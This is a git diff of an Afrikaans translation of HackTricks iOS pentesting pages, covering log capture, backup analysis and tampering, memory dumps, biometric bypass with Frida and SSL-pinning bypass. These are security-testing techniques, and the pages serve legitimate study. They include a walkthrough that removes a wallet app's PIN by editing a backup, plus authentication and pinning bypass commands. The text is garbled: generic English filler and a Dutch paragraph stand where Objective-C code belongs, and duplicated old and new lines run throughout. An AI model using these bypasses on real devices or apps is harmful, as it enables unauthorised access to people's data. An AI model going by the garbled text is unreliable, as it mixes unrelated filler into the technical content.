2. Koppel die iOS-toestel aan.
3. Navigeer na **Venster** -> **Toestelle en Simulator**.
3. Navigeer na **Venster** -> **Toestelle en Simulators**.
4. Kies jou toestel.
5. Trigger die probleem wat jy ondersoek.
6. Gebruik die **Maak Konsole Oop**-knoppie om logboeke in 'n nuwe venster te sien.
6. Gebruik die **Open Konsole**-knoppie om logboeke in 'n nuwe venster te sien.
Vir meer gevorderde logging, kan die koppel van die toestel se skul en die gebruik van **socat** werkliktydse log-monitoring bied:
Vir meer gevorderde logging, kan die koppel van die toestel se skul en die gebruik van **socat** werklike tyd log-monitoring bied:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Volg die bevele om logaktiwiteite te observeer, wat van onschatbare waarde kan wees vir die diagnose van probleme of die identifisering van potensiële datalek in logboeke.
Volg bevele om logaktiwiteite te observeer, wat van onschatbare waarde kan wees vir die diagnose van probleme of die identifisering van potensiële datalekage in logboeke.
***
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Agteruitkopieë
## Agteruitskopieë
**Outomatiese agteruitkopieëfunksies** is geïntegreer in iOS, wat die skepping van toesteldatakopieë fasiliteer deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina voortwaarts), of iCloud. Hierdie agteruitkopieë sluit bykans alle toesteldata in, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
**Outomatiese agteruitskopie-funksies** is geïntegreer in iOS, wat die skepping van toesteldatakopieë fasiliteer deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina voortaan), of iCloud. Hierdie agteruitskopieë dek bykans alle toesteldata, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
### Sekuriteitsrisiko's
Die insluiting van **geïnstalleerde programme en hul data** in agteruitkopieë bring die kwessie van potensiële **datalek** na vore en die risiko dat **agteruitkopiewysigings programme-funksionaliteit kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks te stoor** binne enige program se gids of sy subgidse om hierdie risiko's te verminder.
Die insluiting van **geïnstalleerde programme en hul data** in agteruitskopieë bring die kwessie van potensiële **datalekage** na vore en die risiko dat **agteruitskopiewysigings programme-funksionaliteit kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks te stoor** binne enige program se gids of subgidse om hierdie risiko's te verminder.
### Uitsluiting van Lêers uit Agteruitkopieë
### Uitsluiting van Lêers uit Agteruitskopieë
Lêers in `Documents/` en `Library/Application Support/` word standaard agteruitgekopieer. Ontwikkelaars kan spesifieke lêers of gidse uit agteruitkopieë uitsluit deur `NSURL setResourceValue:forKey:error:` te gebruik met die `NSURLIsExcludedFromBackupKey`. Hierdie praktyk is noodsaaklik om sensitiewe data te beskerm teen insluiting in agteruitkopieë.
Lêers in `Documents/` en `Library/Application Support/` word standaard agteruitgekopieer. Ontwikkelaars kan spesifieke lêers of gidse uit agteruitskopieë uitsluit deur `NSURL setResourceValue:forKey:error:` te gebruik met die `NSURLIsExcludedFromBackupKey`. Hierdie praktyk is noodsaaklik om sensitiewe data te beskerm teen insluiting in agteruitskopieë.
### Toets vir Swakhede
Om 'n program se agteruitkopie-sekuriteit te assesseer, begin deur **'n agteruitkopie te skep** met Finder, en vind dit dan met behulp van leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die agteruitkopie vir sensitiewe data of konfigurasies wat verander kan word om programgedrag te affekteer.
Om 'n program se agteruitskopie-sekuriteit te assesseer, begin deur 'n agteruitskopie te **skep** met Finder, en vind dit dan met behulp van leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die agteruitskopie vir sensitiewe data of konfigurasies wat verander kan word om programgedrag te beïnvloed.
Sensitiewe inligting kan opgespoor word met behulp van opdraglyninstrumente of toepassings soos [iMazing](https://imazing.com). Vir versleutelde agteruitkopieë kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die agteruitkopie se hoof te kontroleer.
Sensitiewe inligting kan opgespoor word met behulp van opdraglyn-instrumente of toepassings soos [iMazing](https://imazing.com). Vir versleutelde agteruitskopieë kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die agteruitskopie se hoof te kontroleer.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -695,7 +695,7 @@ Vir die hantering van versleutelde rugsteun, kan Python-skripte beskikbaar in [D
### Wysiging van App-Gedrag
'n Voorbeeld van die verandering van app-gedrag deur rugsteunwysigings word gedemonstreer in die [Bither bitcoin-bewaarplek app](https://github.com/bither/bither-ios), waar die UI-slot-PIN binne `net.bither.plist` onder die **pin\_code** sleutel gestoor word. Die verwydering van hierdie sleutel uit die plist en die herstel van die rugsteun verwyder die PIN-vereiste, wat onbeperkte toegang bied.
'n Voorbeeld van die verandering van app-gedrag deur rugsteunwysigings word gedemonstreer in die [Bither bitcoin-bewaarplek-app](https://github.com/bither/bither-ios), waar die UI-slot-PIN binne `net.bither.plist` onder die **pin\_code** sleutel gestoor word. Die verwydering van hierdie sleutel uit die plist en die herstel van die rugsteun verwyder die PIN-vereiste, wat onbeperkte toegang bied.
## Opsomming oor Geheuetoetsing vir Sensitiewe Data
@ -703,7 +703,7 @@ Wanneer daar gehandel word met sensitiewe inligting wat in 'n aansoek se geheue
## **Ophaling en Analise van 'n Geheue-Aflees**
Vir beide gejailbreakte en nie-gejailbreakte toestelle, maak gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) dit moontlik om 'n aansoek se prosesgeheue af te lees. Nadat dit afgelees is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting wat jy soek.
Vir beide gejailbreakte en nie-gejailbreakte toestelle, maak gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) die aflaai van 'n aansoek se prosesgeheue moontlik. Nadat dit afgelaai is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting wat jy soek.
Om strings uit 'n geheue-aflees te onttrek, kan opdragte soos `strings` of `rabin2 -zz` gebruik word:
```bash
@ -721,7 +721,7 @@ $ r2 <name_of_your_dump_file>
```
## **Uitvoertydgeheue-ontleding**
**r2frida** bied 'n kragtige alternatief vir die inspeksie van 'n toep se geheue in werklike tyd, sonder om 'n geheue-afvoer te benodig. Hierdie instrument maak dit moontlik om soekopdragte direk op die lopende toepassing se geheue uit te voer:
**r2frida** bied 'n kragtige alternatief vir die inspeksie van 'n toepassing se geheue in werklike tyd, sonder om 'n geheue-afvoer te benodig. Hierdie instrument maak dit moontlik om soekopdragte direk op die lopende toepassing se geheue uit te voer:
```bash
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
@ -734,11 +734,11 @@ Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en versleutel
### Gebruik van Onveilige en/of Uitgefaseerde Algoritmes
Ontwikkelaars behoort nie **uitgefaseerde algoritmes** te gebruik om outorisasie **kontroles** uit te voer, data te **stoor** of te **stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hasse** byvoorbeeld gebruik word om wagwoorde te stoor, moet hasse wat weerstand bied teen brutale krag gebruik word saam met sout.
Ontwikkelaars behoort nie **uitgefaseerde algoritmes** te gebruik om outorisasie **kontroles** uit te voer, data te **stoor** of te **stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashe** byvoorbeeld gebruik word om wagwoorde te stoor, moet hashe wat weerstand bied teen brutale krag met sout gebruik word.
### Kontrole
Die belangrikste kontroles om uit te voer is om te kyk of jy **hardgekodelde** wagwoorde/geheime in die kode kan vind, of dit **voorspelbaar** is, en of die kode van 'n soort **swak** **kriptografie**-algoritmes gebruik maak.
Die belangrikste kontroles om uit te voer is om te kyk of jy **hardgekode** wagwoorde/geheime in die kode kan vind, of dit **voorspelbaar** is, en of die kode van 'n soort **swak** **kriptografie**-algoritmes gebruik maak.
Dit is interessant om te weet dat jy sommige **kripto** **biblioteke** outomaties kan **monitor** met **objection** met:
```swift
@ -750,33 +750,33 @@ Vir **meer inligting** oor iOS kriptografiese API's en biblioteke, besoek [https
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit gaan oor die beskerming van toegang tot 'n afgeleë eindpunt deur middel van kriptografiese metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiemeganismes omseil kan word.
Apple se [**Plaaslike Verifikasieraamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelbos**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasie-dialoge te fasiliteer en geheime data veilig te hanteer, onderskeidelik. Die Veilige Omsluiting beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID staatmaak op gesigskenning sonder om biometriese data in gevaar te stel.
Apple se [**Plaaslike Verifikasieraamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelhang**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoë te fasiliteer en geheime data veilig te hanteer, onderskeidelik. Die Veilige Enclave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID staatmaak op gesigskenning sonder om biometriese data in gevaar te stel.
Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses:
* **`LocalAuthentication.framework`** vir hoëvlak-gebruikersverifikasie sonder toegang tot biometriese data.
* **`Security.framework`** vir laevlak-sleutelbosdiensetoegang, wat geheime data met biometriese verifikasie beveilig. Verskeie [oorspronklike omhulsels](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelbostoegang eenvoudiger.
* **`Security.framework`** vir laervlak-sleutelhangdiensetoegang, wat geheime data met biometriese verifikasie beveilig. Verskeie [oorspronklike omhulsels](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelhangtoegang eenvoudiger.
{% hint style="danger" %}
Nietemin, beide `LocalAuthentication.framework` en `Security.framework` het kwesbaarhede, aangesien hulle hoofsaaklik booleaanwaardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Raak my nie so aan nie, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
Nietemin, bied beide `LocalAuthentication.framework` en `Security.framework` kwesbaarhede, aangesien hulle hoofsaaklik booleaanwaardes terugstuur sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (sien [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %}
### Implementering van Plaaslike Verifikasie
Om gebruikers te versoek vir verifikasie, moet ontwikkelaars die **`evaluatePolicy`**-metode binne die **`LAContext`**-klas gebruik, deur te kies tussen:
Om gebruikers vir verifikasie te versoek, moet ontwikkelaars die **`evaluatePolicy`**-metode binne die **`LAContext`**-klas gebruik, waarby hulle kan kies tussen:
* **`deviceOwnerAuthentication`**: Versoek vir Touch ID of toestel wagwoord, wat misluk as geen van beide geaktiveer is.
* **`deviceOwnerAuthenticationWithBiometrics`**: Uitsluitlik versoek vir Touch ID.
'n Suksesvolle verifikasie word aangedui deur 'n booleaanwaarde wat teruggegee word deur **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout aandui.
'n Suksesvolle verifikasie word aangedui deur 'n booleaanwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout beklemtoon.
### Plaaslike Verifikasie met Sleutelbos
### Plaaslike Verifikasie met Sleutelhang
Die implementering van **plaaslike verifikasie** in iOS-toepassings behels die gebruik van **sleutelbos-API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker toeganklik is, deur hul toestel wagwoord of biometriese verifikasie soos Touch ID te gebruik.
Die implementering van **plaaslike verifikasie** in iOS-toepassings behels die gebruik van **sleutelhang-API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker toeganklik is, deur hul toestel wagwoord of biometriese verifikasie soos Touch ID te gebruik.
Die sleutelbos bied die vermoë om items met die `SecAccessControl`-eienskap in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer via Touch ID of toestel wagwoord. Hierdie kenmerk is noodsaaklik vir die verbetering van sekuriteit.
Die sleutelhang bied die vermoë om items met die `SecAccessControl`-eienskap in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol deur middel van Touch ID of toestel wagwoord geverifieer is. Hierdie kenmerk is noodsaaklik vir die verbetering van sekuriteit.
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/die sleutelbos te stoor en te herwin, deur van hierdie sekuriteitskenmerke gebruik te maak. Die voorbeelde toon spesifiek hoe om toegangsbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs toeganklik is op die toestel waarop dit opgestel is, onder die voorwaarde dat 'n toestel wagwoord geconfigureer is.
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/die sleutelhang te stoor en te herwin, waardeur van hierdie sekuriteitskenmerke gebruik gemaak word. Die voorbeelde toon spesifiek hoe om toegangsbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waarop dit opgestel is, toeganklik is, onder die voorwaarde dat 'n toestel wagwoord geconfigureer is.
{% tabs %}
{% tab title="Swift" %}
@ -819,8 +819,35 @@ if status == noErr {
{% endtab %}
{% tab title="Objective-C" %}
### Doel
Die doel van hierdie dokument is om 'n oorsig te gee van die basiese beginsels van iOS-toepassingpentesting en om 'n riglyn te bied vir die pentesting van iOS-toepassings.
### iOS Pentesting
#### Setting up the environment
To start iOS pentesting, you need a macOS machine with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with the necessary tools for iOS pentesting.
#### Device setup
You can use physical devices or simulators for testing iOS applications. Physical devices provide a more realistic testing environment, while simulators are useful for quick testing.
#### Tools
There are various tools available for iOS pentesting, such as Frida, Cycript, Hopper, and objection. These tools help in dynamic analysis, reverse engineering, and manipulating iOS applications during pentesting.
#### Common vulnerabilities
Some common vulnerabilities found in iOS applications include insecure data storage, improper session management, insecure communication, and lack of binary protections. It is essential to identify and exploit these vulnerabilities during pentesting to enhance the security of iOS applications.
#### Testing techniques
During iOS pentesting, techniques like static analysis, dynamic analysis, runtime manipulation, and network traffic analysis are used to identify vulnerabilities and assess the security posture of iOS applications.
#### Reporting
After completing the pentesting process, a detailed report should be prepared outlining the vulnerabilities discovered, their impact, and recommendations for mitigation. This report helps developers in fixing the identified issues and improving the overall security of iOS applications.
#### Conclusion
iOS pentesting is a crucial step in ensuring the security of iOS applications. By identifying and addressing vulnerabilities, developers can enhance the resilience of their applications against potential cyber threats.
{% endtab %}
```objectivec
// 1. create AccessControl object that will represent authentication settings
@ -852,7 +879,7 @@ if (status == noErr) {
{% endtab %}
{% endtabs %}
Nou kan ons die gestoorde item van die sleutelketting aanvra. Sleutelkettingdienste sal die verifikasie dialoog aan die gebruiker vertoon en data of nil teruggee, afhangende of 'n geskikte vingerafdruk voorsien was of nie.
Nou kan ons die gestoorde item van die sleutelketting aanvra. Sleutelkettingdienste sal die verifikasievenster aan die gebruiker vertoon en data of nil teruggee, afhangende of 'n geskikte vingerafdruk voorsien was of nie.
```swift
// 1. define query
var query = [String: Any]()
@ -878,45 +905,9 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
{% endtab %}
{% tab title="Objective-C" %}
### iOS Pentesting
### Doel van iOS-penetratietesting
#### Setting up the environment
To start iOS pentesting, you need a macOS machine with Xcode installed. Xcode is the official IDE for developing iOS applications and includes all the necessary tools for iOS pentesting.
#### Tools for iOS Pentesting
1. **Cycript**: A runtime manipulation tool for iOS apps.
2. **Clutch**: A tool for dumping decrypted iOS applications.
3. **Dumpdecrypted**: A tool for decrypting iOS applications.
4. **Frida**: A dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.
5. **MobSF**: Mobile Security Framework - An automated, all-in-one mobile application (Android/iOS/Windows) pen-testing framework capable of performing static, dynamic analysis, and web API testing.
#### Jailbreaking iOS Devices
Jailbreaking an iOS device allows you to bypass Apple's restrictions and install apps from third-party sources. This is essential for certain types of iOS pentesting activities.
#### Common Vulnerabilities in iOS Apps
1. **Insecure Data Storage**: Storing sensitive data in an insecure manner.
2. **Insecure Communication**: Transmitting data over unencrypted channels.
3. **Improper Session Handling**: Issues related to session management.
4. **Client-Side Injection**: Allowing user input to affect app behavior.
5. **Security Decisions via Untrusted Inputs**: Making security decisions based on user-controlled data.
#### Testing Methodologies
1. **Static Analysis**: Analyzing the application without executing it.
2. **Dynamic Analysis**: Analyzing the application while it is running.
3. **Runtime Analysis**: Monitoring the application's behavior during runtime.
#### Reporting
After conducting iOS pentesting, it is crucial to document all findings and provide a detailed report to the stakeholders, including identified vulnerabilities and recommended remediation steps.
#### Legal Considerations
Ensure that you have proper authorization before conducting iOS pentesting activities to avoid legal repercussions. Always respect the boundaries and guidelines set by the organization or individual requesting the pentest.
Het doel van iOS-penetratietesting is om de beveiligingszwaktes in iOS-toepassingen te identificeren en te exploiteren om de algehele beveiliging van de app te verbeteren. Dit omvat het identificeren van kwetsbaarheden zoals onveilige dataopslag, onjuiste sessiebeheer, onjuiste invoervalidatie en onjuiste autorisatie. Door deze kwetsbaarheden bloot te leggen, kunnen ontwikkelaars de nodige maatregelen nemen om de beveiliging van hun iOS-toepassingen te versterken.
{% endtab %}
```objectivec
// 1. define query
@ -940,7 +931,7 @@ NSLog(@"Something went wrong");
```
### Opmerking
Die gebruik van raamwerke in 'n toep kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteek van die toep se binêre lêer te analiseer. Dit kan gedoen word deur `otool` te gebruik:
Die gebruik van raamwerke in 'n toep kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteke van die toep se binêre lêer te analiseer. Dit kan gedoen word deur `otool` te gebruik:
```bash
$ otool -L <AppName>.app/<AppName>
```
@ -970,7 +961,7 @@ Hierdie bevel stel 'n reeks in waar Objection 'n taak registreer wat die uitkoms
#### Frida
'n Voorbeeld van die gebruik van **`evaluatePolicy`** vanaf [DVIA-v2 aansoek](https://github.com/prateek147/DVIA-v2):
'n Voorbeeld van die gebruik van **`evaluatePolicy`** vanaf [DVIA-v2-toepassing](https://github.com/prateek147/DVIA-v2):
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@ -1073,7 +1064,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
## Netwerk Kommunikasie
Dit is belangrik om te kontroleer dat geen kommunikasie plaasvind **sonder versleuteling** en ook dat die aansoek korrek die TLS-sertifikaat van die bediener **valideer**.\
Om hierdie soort kwessies te toets, kan jy 'n proksi soos **Burp** gebruik:
Om hierdie soort kwessies te kontroleer, kan jy 'n proksi soos **Burp** gebruik:
{% content-ref url="burp-configuration-for-ios.md" %}
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
@ -1081,13 +1072,13 @@ Om hierdie soort kwessies te toets, kan jy 'n proksi soos **Burp** gebruik:
### Naam van bediener kontroleer
Een algemene probleem met die validering van die TLS-sertifikaat is om te kontroleer dat die sertifikaat deur 'n **vertroude CA** onderteken is, maar **nie te kontroleer** of **die naam van die bediener** van die sertifikaat die toegangsgastheer se naam is nie.\
Om hierdie probleem met Burp te toets, nadat jy Burp CA in die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander naam van die bediener skep** en dit gebruik. As die aansoek steeds werk, dan is daar 'n kwesbaarheid.
Een algemene probleem met die validering van die TLS-sertifikaat is om te kontroleer dat die sertifikaat deur 'n **vertroude** **CA** onderteken is, maar **nie kontroleer** of **die naam van die bediener** van die sertifikaat die toegangde naam van die bediener is nie.\
Om hierdie probleem met Burp te kontroleer, nadat jy die Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander naam van die bediener skep** en dit gebruik. As die aansoek steeds werk, dan is daar iets kwesbaar.
### Sertifikaat Pinning
As 'n aansoek SSL Pinning korrek gebruik, sal die aansoek net werk as die sertifikaat die verwagte een is. Wanneer jy 'n aansoek toets, **kan dit 'n probleem wees omdat Burp sy eie sertifikaat sal dien.**\
Om hierdie beskerming binne 'n jailbroken-toestel te omseil, kan jy die aansoek installeer [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) of installeer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Om hierdie beskerming binne 'n jailbroken toestel te omseil, kan jy die aansoek installeer [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) of installeer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Jy kan ook **objection se** `ios sslpinning disable` gebruik
@ -1100,23 +1091,23 @@ Jy kan ook **objection se** `ios sslpinning disable` gebruik
* Binne die vouer van 'n geïnstalleerde aansoek (**`/User/Applications/<APP ID>/`**) kan jy 'n paar interessante lêers vind:
* **`iTunesArtwork`**: Die ikoon wat deur die aansoek gebruik word
* **`iTunesMetadata.plist`**: Inligting van die aansoek wat in die App Store gebruik word
* **`/Library/*`**: Bevat die voorkeure en cache. In **`/Library/Cache/Snapshots/*`** kan jy die oomblikopname vind wat gedoen is voordat die aansoek na die agtergrond gestuur is.
* **`/Library/*`**: Bevat die voorkeure en cache. In **`/Library/Cache/Snapshots/*`** kan jy die oomblikopname vind wat na die agtergrond gestuur is.
### Warm Patching/Verpligte Opdatering
Die ontwikkelaars kan afstandbeheer **alle installasies van hul aansoek onmiddellik patch** sonder om die aansoek na die App Store te herindien en te wag tot dit goedgekeur word.\
Die ontwikkelaars kan al die installasies van hul aansoek dadelik **opgelap** sonder om die aansoek na die App Store te herindien en te wag tot dit goedgekeur word.\
Vir hierdie doel word gewoonlik [**JSPatch**](https://github.com/bang590/JSPatch)** gebruik.** Maar daar is ook ander opsies soos [Siren](https://github.com/ArtSabintsev/Siren) en [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Dit is 'n gevaarlike meganisme wat misbruik kan word deur skadelike derde party SDK's, daarom word aanbeveel om te toets watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan probeer om 'n vorige weergawe van die aansoek af te laai vir hierdie doel.
**Dit is 'n gevaarlike meganisme wat misbruik kan word deur skadelike derde party SDK's, daarom word aanbeveel om te kontroleer watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan 'n vorige weergawe van die aansoek aflaai vir hierdie doel.
### Derde Party
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan fynbeheer** oor hul funksionaliteite. Ontwikkelaars staar 'n keuse in die gesig: of integreer die SDK en aanvaar al sy funksies, insluitende potensiële sekuriteitskwessies en privaatheidskwessies, of verwerp heeltemal die voordele daarvan. Dikwels is ontwikkelaars nie in staat om kwessies binne hierdie SDK's self te herstel nie. Verder, soos SDK's vertroue wen binne die gemeenskap, mag sommige malware begin bevat.
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan fyn beheer** oor hul funksionaliteite. Ontwikkelaars staar 'n keuse in die gesig: of integreer die SDK en aanvaar al sy funksies, insluitend potensiële sekuriteitskwessies en privaatheidskwessies, of verwerp heeltemal die voordele daarvan. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te lap nie. Verder, soos SDK's vertroue wen binne die gemeenskap, mag sommige malware begin bevat.
Die dienste wat deur derde party SDK's verskaf word, mag gebruikersgedragopsporing, advertensieweergawes of gebruikerservaringsverbeterings insluit. Dit bring egter 'n risiko mee aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat kan lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is noodsaaklik om die inligting wat met derde party dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
Die implementering van derde party dienste kom gewoonlik in twee vorms voor: 'n selfstandige biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlik Identifiseerbare Inligting (PII) te voorkom.
Om die biblioteke wat 'n aansoek gebruik te identifiseer, kan die **`otool`**-bevel gebruik word. Hierdie instrument moet teen die aansoek en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
Om die biblioteke wat 'n aansoek gebruik, te identifiseer, kan die **`otool`**-bevel gebruik word. Hierdie instrument moet teen die aansoek en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
```bash
otool -L <application_path>
```
@ -1148,10 +1139,10 @@ otool -L <application_path>
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -1162,7 +1153,7 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -14,7 +14,7 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
@ -38,7 +38,7 @@ Die **Burp Mobile Assistant** vereenvoudig die installasieproses van die Burp-se
### Konfigureer 'n Onderskeppingproksi
Die opstelling maak verkeeranalise tussen die iOS-toestel en die internet deur Burp moontlik, wat 'n Wi-Fi-netwerk vereis wat kliënt-tot-kliënt-verkeer ondersteun. Indien nie beskikbaar nie, kan 'n USB-verbinding via usbmuxd as 'n alternatief dien. PortSwigger se tutoriale bied in-diepte instruksies oor [toestelkonfigurasie](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) en [sertifikaatinstallasie](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
Die opstelling maak verkeeranalise tussen die iOS-toestel en die internet deur Burp moontlik, wat 'n Wi-Fi-netwerk vereis wat kliënt-tot-kliënt-verkeer ondersteun. Indien nie beskikbaar nie, kan 'n USB-verbindings via usbmuxd as 'n alternatief dien. PortSwigger se tutoriale bied in-diepte instruksies oor [toestelkonfigurasie](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) en [sertifikaatinstallasie](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
### Gevorderde Konfigurasie vir Gehackte Toestelle
@ -68,12 +68,12 @@ Die prosedure behels verskeie sleutelstappe:
$ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
```
